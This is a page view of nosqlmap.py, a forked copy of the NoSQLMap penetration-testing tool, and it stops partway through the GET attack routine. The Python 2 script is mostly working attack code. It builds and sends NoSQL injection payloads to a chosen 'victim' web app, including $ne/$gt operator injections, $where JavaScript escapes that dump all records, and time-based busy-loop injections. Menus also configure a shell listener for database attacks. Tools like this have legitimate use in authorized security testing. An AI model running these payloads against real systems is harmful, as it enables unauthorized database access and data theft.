forked from codingo/NoSQLMap
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnosqlmap.py
executable file
·1757 lines (1435 loc) · 49.8 KB
/
nosqlmap.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python
#NoSQLMap Copyright 2014 Russell Butturini
#This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import nsmcouch
import nsmmongo
import string
import random
import os
import time
import httplib2
import urllib
import urllib2
import json
import ipcalc
import signal
import ast
import datetime
import itertools
import re
def main():
signal.signal(signal.SIGINT, signal_handler)
global optionSet
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
optionSet = [False]*9
global yes_tag
global no_tag
yes_tag = ['y', 'Y']
no_tag = ['n', 'N']
global victim
global webPort
global uri
global httpMethod
global platform
global https
global myIP
global myPort
global verb
global scanNeedCreds
global dbPort
#Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
platform = "MongoDB"
dbPort = 27017
myIP = "Not Set"
myPort = "Not Set"
mainMenu()
def mainMenu():
global platform
global victim
global dbPort
global myIP
global myPort
mmSelect = True
while mmSelect:
os.system('clear')
print "===================================================="
print " _ _ _____ _____ _ ___ ___ "
print "| \ | | / ___|| _ | | | \/ | "
print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ "
print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ "
print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |"
print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/"
print "===================================================="
print "NoSQLMap-v0.5"
print "[email protected]"
print "\n"
print "1-Set options"
print "2-NoSQL DB Access Attacks"
print "3-NoSQL Web App attacks"
print "4-Scan for Anonymous " + platform + " Access"
print "5-Change Platform (Current: " + platform + ")"
print "x-Exit"
select = raw_input("Select an option: ")
if select == "1":
options()
elif select == "2":
if optionSet[0] == True:
if platform == "MongoDB":
nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
elif platform == "CouchDB":
nsmcouch.netAttacks(victim, dbPort, myIP)
#Check minimum required options
else:
raw_input("Target not set! Check options. Press enter to continue...")
elif select == "3":
#Check minimum required options
if (optionSet[0] == True) and (optionSet[2] == True):
if httpMethod == "GET":
getApps()
else:
postApps()
else:
raw_input("Options not set! Check host and URI path. Press enter to continue...")
elif select == "4":
massScan()
elif select == "5":
platSel()
elif select == "x":
sys.exit()
else:
raw_input("Invalid selection. Press enter to continue.")
def platSel():
global platform
global dbPort
select = True
print "\n"
while select:
print "1-MongoDB"
print "2-CouchDB"
pSel = raw_input("Select a platform: ")
if pSel == "1":
platform = "MongoDB"
dbPort = 27017
return
elif pSel == "2":
platform = "CouchDB"
dbPort = 5984
return
else:
psel = True
raw_input("Invalid selection. Press enter to continue.")
def options():
global victim
global webPort
global uri
global https
global platform
global httpMethod
global postData
global myIP
global myPort
global verb
global mmSelect
global dbPort
global requestHeaders
requestHeaders = {}
optSelect = True
#Set default value if needed
if optionSet[0] == False:
global victim
victim = "Not Set"
if optionSet[1] == False:
global webPort
webPort = 80
optionSet[1] = True
if optionSet[2] == False:
global uri
uri = "Not Set"
if optionSet[3] == False:
global httpMethod
httpMethod = "GET"
if optionSet[4] == False:
global myIP
myIP = "Not Set"
if optionSet[5] == False:
global myPort
myPort = "Not Set"
if optionSet[6] == False:
verb = "OFF"
optSelect = True
if optionSet[8] == False:
https = "OFF"
optSelect = True
while optSelect:
print "\n\n"
print "Options"
print "1-Set target host/IP (Current: " + str(victim) + ")"
print "2-Set web app port (Current: " + str(webPort) + ")"
print "3-Set App Path (Current: " + str(uri) + ")"
print "4-Toggle HTTPS (Current: " + str(https) + ")"
print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")"
print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")"
print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")"
print "8-Set shell listener port (Current: " + str(myPort) + ")"
print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")"
print "0-Load options file"
print "a-Load options from saved Burp request"
print "b-Save options file"
print "h-Set headers"
print "x-Back to main menu"
select = raw_input("Select an option: ")
if select == "1":
#Unset the boolean if it's set since we're setting it again.
optionSet[0] = False
ipLen = False
while optionSet[0] == False:
goodDigits = True
notDNS = True
victim = raw_input("Enter the host IP/DNS name: ")
#make sure we got a valid IP
octets = victim.split(".")
if len(octets) != 4:
#Treat this as a DNS name
optionSet[0] = True
notDNS = False
#If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
for item in octets:
try:
if int(item) < 0 or int(item) > 255:
print "Bad octet in IP address."
goodDigits = False
except:
#Must be a DNS name (for now)
notDNS = False
#If everything checks out set the IP and break the loop
if goodDigits == True or notDNS == False:
print "\nTarget set to " + victim + "\n"
optionSet[0] = True
elif select == "2":
webPort = raw_input("Enter the HTTP port for web apps: ")
print "\nHTTP port set to " + webPort + "\n"
optionSet[1] = True
elif select == "3":
uri = raw_input("Enter URI Path (Press enter for no URI): ")
print "\nURI Path set to " + uri + "\n"
optionSet[2] = True
elif select == "4":
if https == "OFF":
print "HTTPS enabled."
https = "ON"
optionSet[8] = True
elif https == "ON":
print "HTTPS disabled."
https = "OFF"
optionSet[8] = True
elif select == "5":
dbPort = int(raw_input("Enter target MongoDB port: "))
print "\nTarget Mongo Port set to " + str(dbPort) + "\n"
optionSet[7] = True
elif select == "6":
httpMethod = True
while httpMethod == True:
print "1-Send request as a GET"
print "2-Send request as a POST"
httpMethod = raw_input("Select an option: ")
if httpMethod == "1":
httpMethod = "GET"
print "GET request set"
requestHeaders = {}
optionSet[3] = True
elif httpMethod == "2":
print "POST request set"
optionSet[3] = True
postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n")
pdArray = postDataIn.split(",")
paramNames = pdArray[0::2]
paramValues = pdArray[1::2]
postData = dict(zip(paramNames,paramValues))
httpMethod = "POST"
else:
print "Invalid selection"
elif select == "7":
#Unset the setting boolean since we're setting it again.
optionSet[4] = False
goodLen = False
goodDigits = False
while optionSet[4] == False:
myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
#make sure we got a valid IP
octets = myIP.split(".")
#If there aren't 4 octets, toss an error.
if len(octets) != 4:
print "Invalid IP length."
else:
goodLen = True
if goodLen == True:
#If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
for item in octets:
if int(item) < 0 or int(item) > 255:
print "Bad octet in IP address."
goodDigits = False
else:
goodDigits = True
#If everything checks out set the IP and break the loop
if goodLen == True and goodDigits == True:
print "\nShell/DB listener set to " + myIP + "\n"
optionSet[4] = True
elif select == "8":
myPort = raw_input("Enter TCP listener for shells: ")
print "Shell TCP listener set to " + myPort + "\n"
optionSet[5] = True
elif select == "9":
if verb == "OFF":
print "Verbose output enabled."
verb = "ON"
optionSet[6] = True
elif verb == "ON":
print "Verbose output disabled."
verb = "OFF"
optionSet[6] = True
elif select == "0":
loadPath = raw_input("Enter file name to load: ")
try:
fo = open(loadPath,"r" )
csvOpt = fo.readlines()
fo.close()
optList = csvOpt[0].split(",")
victim = optList[0]
webPort = optList[1]
uri = optList[2]
httpMethod = optList[3]
myIP = optList[4]
myPort = optList[5]
verb = optList[6]
https = optList[7]
if httpMethod == "POST":
postData = ast.literal_eval(csvOpt[1])
#Set option checking array based on what was loaded
x = 0
for item in optList:
if item != "Not Set":
optionSet[x] = True
x += 1
except:
print "Couldn't load options file!"
elif select == "a":
loadPath = raw_input("Enter path to Burp request file: ")
try:
fo = open(loadPath,"r")
reqData = fo.readlines()
except:
raw_input("error reading file. Press enter to continue...")
return
methodPath = reqData[0].split(" ")
if methodPath[0] == "GET":
httpMethod = "GET"
elif methodPath[0] == "POST":
paramNames = []
paramValues = []
httpMethod = "POST"
postData = reqData[len(reqData)-1]
#split the POST parameters up into individual items
paramsNvalues = postData.split("&")
for item in paramsNvalues:
tempList = item.split("=")
paramNames.append(tempList[0])
paramValues.append(tempList[1])
postData = dict(zip(paramNames,paramValues))
else:
print "unsupported method in request header."
victim = reqData[1].split( " ")[1].replace("\r\n","")
optionSet[0] = True
uri = methodPath[1].replace("\r\n","")
optionSet[2] = True
elif select == "b":
savePath = raw_input("Enter file name to save: ")
try:
fo = open(savePath, "wb")
fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https)
if httpMethod == "POST":
fo.write(",\n"+ str(postData))
fo.write(",\n" + str(requestHeaders) )
fo.close()
print "Options file saved!"
except:
print "Couldn't save options file."
elif select == "h":
reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n")
reqHeadersArray = reqHeadersIn.split(",")
headerNames = reqHeadersArray[0::2]
headerValues = reqHeadersArray[1::2]
requestHeaders = dict(zip(headerNames, headerValues))
elif select == "x":
return
def postApps():
print "Web App Attacks (POST)"
print "==============="
paramName = []
paramValue = []
global vulnAddrs
vulnAddrs = []
global possAddrs
possAddrs = []
timeVulnsStr = []
timeVulnsInt = []
appUp = False
strTbAttack = False
intTbAttack = False
trueStr = False
trueInt = False
global postData
global neDict
global gtDict
global requestHeaders
testNum = 1
#Verify app is working.
print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
if https == "OFF":
appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
elif https == "ON":
appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
try:
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
appRespCode = urllib2.urlopen(req).getcode()
if appRespCode == 200:
normLength = int(len(urllib2.urlopen(req).read()))
timeReq = urllib2.urlopen(req)
start = time.time()
page = timeReq.read()
end = time.time()
timeReq.close()
timeBase = round((end - start), 3)
if verb == "ON":
print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
else:
print "App is up!"
appUp = True
else:
print "Got " + str(appRespCode) + "from the app, check your options."
except Exception,e:
print e
print "Looks like the server didn't respond. Check your options."
if appUp == True:
menuItem = 1
print "List of parameters:"
for params in postData.keys():
print str(menuItem) + "-" + params
menuItem += 1
try:
injIndex = raw_input("Which parameter should we inject? ")
injOpt = str(postData.keys()[int(injIndex)-1])
print "Injecting the " + injOpt + " parameter..."
except:
raw_input("Something went wrong. Press enter to return to the main menu...")
return
injectSize = raw_input("Baseline test-Enter random string size: ")
injectString = randInjString(int(injectSize))
print "Using " + injectString + " for injection testing.\n"
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
#Add error handling for Non-200 HTTP response codes if random strings freak out the app.
postData.update({injOpt:injectString})
if verb == "ON":
print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
else:
print "Sending random parameter value..."
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
randLength = int(len(urllib2.urlopen(req).read()))
print "Got response length of " + str(randLength) + "."
randNormDelta = abs(normLength - randLength)
if randNormDelta == 0:
print "No change in response size injecting a random parameter..\n"
else:
print "Random value variance: " + str(randNormDelta) + "\n"
#Generate not equals injection
neDict = postData
neDict[injOpt + "[$ne]"] = neDict[injOpt]
del neDict[injOpt]
body = urllib.urlencode(neDict)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..."
else:
print "Test 1: PHP/ExpressJS != associative array injection"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum +=1
print "\n"
#Delete the extra key
del postData[injOpt + "[$ne]"]
#generate $gt injection
gtDict = postData
gtDict.update({injOpt:""})
gtDict[injOpt + "[$gt]"] = gtDict[injOpt]
del gtDict[injOpt]
body = urllib.urlencode(gtDict)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..."
else:
print "Test 2: PHP/ExpressJS > Undefined Injection"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
print "Injecting " + str(postData)
else:
print "Test 3: $where injection (string escape)"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
postData.update({injOpt:"1; return db.a.find(); var dummy=1"})
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
print "Injecting " + str(postData)
else:
print "Test 4: $where injection (integer escape)"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
#Start a single record attack in case the app expects only one record back
postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
print " Injecting " + str(postData)
else:
print "Test 5: $where injection string escape (single record)"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"})
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
print " Injecting " + str(postData)
else:
print "Test 6: $where injection integer escape (single record)"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"})
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing Mongo this not equals string escape attack for all records..."
print " Injecting " + str(postData)
else:
print "Test 7: This != injection (string escape)"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
print "\n"
else:
testNum += 1
postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"})
body = urllib.urlencode(postData)
req = urllib2.Request(appURL,body, requestHeaders)
if verb == "ON":
print "Testing Mongo this not equals integer escape attack for all records..."
print " Injecting " + str(postData)
else:
print "Test 8: This != injection (integer escape)"
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
doTimeAttack = raw_input("Start timing based tests (y/n)? ")
if doTimeAttack == "y" or doTimeAttack == "Y":
print "Starting Javascript string escape time based injection..."
postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
body = urllib.urlencode(postData)
conn = urllib2.urlopen(req,body)
start = time.time()
page = conn.read()
end = time.time()
conn.close()
print str(end)
print str(start)
strTimeDelta = (int(round((end - start), 3)) - timeBase)
#print str(strTimeDelta)
if strTimeDelta > 25:
print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
strTbAttack = True
else:
print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
strTbAttack = False
print "Starting Javascript integer escape time based injection..."
postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
body = urllib.urlencode(postData)
start = time.time()
conn = urllib2.urlopen(req,body)
page = conn.read()
end = time.time()
conn.close()
print str(end)
print str(start)
intTimeDelta = ((end-start) - timeBase)
#print str(strTimeDelta)
if intTimeDelta > 25:
print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
intTbAttack = True
else:
print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
intTbAttack = False
print "\n"
print "Exploitable requests:"
print "\n".join(vulnAddrs)
print "\n"
print "Possibly vulnerable requests:"
print"\n".join(possAddrs)
print "\n"
print "Timing based attacks:"
if strTbAttack == True:
print "String attack-Successful"
else:
print "String attack-Unsuccessful"
if intTbAttack == True:
print "Integer attack-Successful"
else:
print "Integer attack-Unsuccessful"
fileOut = raw_input("Save results to file (y/n)? ")
if fileOut in yes_tag:
savePath = raw_input("Enter output file name: ")
fo = open(savePath, "wb")
fo.write ("Vulnerable Requests:\n")
fo.write("\n".join(vulnAddrs))
fo.write("\n\n")
fo.write("Possibly Vulnerable Requests:\n")
fo.write("\n".join(possAddrs))
fo.write("\n")
fo.write("Timing based attacks:\n")
if strTbAttack == True:
fo.write("String Attack-Successful\n")
else:
fo.write("String Attack-Unsuccessful\n")
fo.write("\n")
if intTbAttack == True:
fo.write("Integer attack-Successful\n")
else:
fo.write("Integer attack-Unsuccessful\n")
fo.write("\n")
fo.close()
raw_input("Press enter to continue...")
return()
def getApps():
print "Web App Attacks (GET)"
print "==============="
paramName = []
global testNum
testNum = 1
paramValue = []
global vulnAddrs
vulnAddrs = []
global possAddrs
possAddrs = []
timeVulnsStr = []
timeVulnsInt = []
appUp = False
strTbAttack = False
intTbAttack = False
trueStr = False
trueInt = False
global lt24
lt24 = False
global str24
str24 = False
global int24
int24 = False
global requestHeaders
#Verify app is working.
print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
if https == "OFF":
appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
elif https == "ON":
appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
try:
req = urllib2.Request(appURL, None, requestHeaders)
appRespCode = urllib2.urlopen(req).getcode()
if appRespCode == 200:
normLength = int(len(urllib2.urlopen(req).read()))
timeReq = urllib2.urlopen(req)
start = time.time()
page = timeReq.read()
end = time.time()
timeReq.close()
timeBase = round((end - start), 3)
if verb == "ON":
print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
else:
print "App is up!"
appUp = True
else:
print "Got " + str(appRespCode) + "from the app, check your options."
except Exception,e:
print e
print "Looks like the server didn't respond. Check your options."
if appUp == True:
injectSize = raw_input("Baseline test-Enter random string size: ")
injectString = randInjString(int(injectSize))
print "Using " + injectString + " for injection testing.\n"
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
#Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
if "?" not in appURL:
print "No URI parameters provided for GET request...Check your options.\n"
raw_input("Press enter to continue...")
return()
randomUri = buildUri(appURL,injectString)
print "URI : " + randomUri
req = urllib2.Request(randomUri, None, requestHeaders)
if verb == "ON":
print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
else:
print "Sending random parameter value..."
randLength = int(len(urllib2.urlopen(req).read()))
print "Got response length of " + str(randLength) + "."
randNormDelta = abs(normLength - randLength)
if randNormDelta == 0:
print "No change in response size injecting a random parameter..\n"
else:
print "Random value variance: " + str(randNormDelta) + "\n"
if verb == "ON":
print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
else:
print "Test 1: PHP/ExpressJS != associative array injection"
#Test for errors returned by injection
req = urllib2.Request(uriArray[1], None, requestHeaders)
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
if verb == "ON":
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
print "Injecting " + uriArray[2]
else:
print "Test 2: $where injection (string escape)"
req = urllib2.Request(uriArray[2], None, requestHeaders)
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
if verb == "ON":
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
print "Injecting " + uriArray[3]
else:
print "Test 3: $where injection (integer escape)"
req = urllib2.Request(uriArray[3], None, requestHeaders)
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum +=1
else:
testNum +=1
#Start a single record attack in case the app expects only one record back
print "\n"
if verb == "ON":
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
print " Injecting " + uriArray[4]
else:
print "Test 4: $where injection string escape (single record)"
req = urllib2.Request(uriArray[4], None, requestHeaders)
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum += 1
else:
testNum += 1
print "\n"
if verb == "ON":
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
print " Injecting " + uriArray[5]
else:
print "Test 5: $where injection integer escape (single record)"
req = urllib2.Request(uriArray[5], None, requestHeaders)
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)
testNum +=1
else:
testNum += 1
print "\n"
if verb == "ON":
print "Testing Mongo this not equals string escape attack for all records..."
print " Injecting " + uriArray[6]
else:
print "Test 6: This != injection (string escape)"
req = urllib2.Request(uriArray[6], None, requestHeaders)
errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(randLength,injLen,testNum)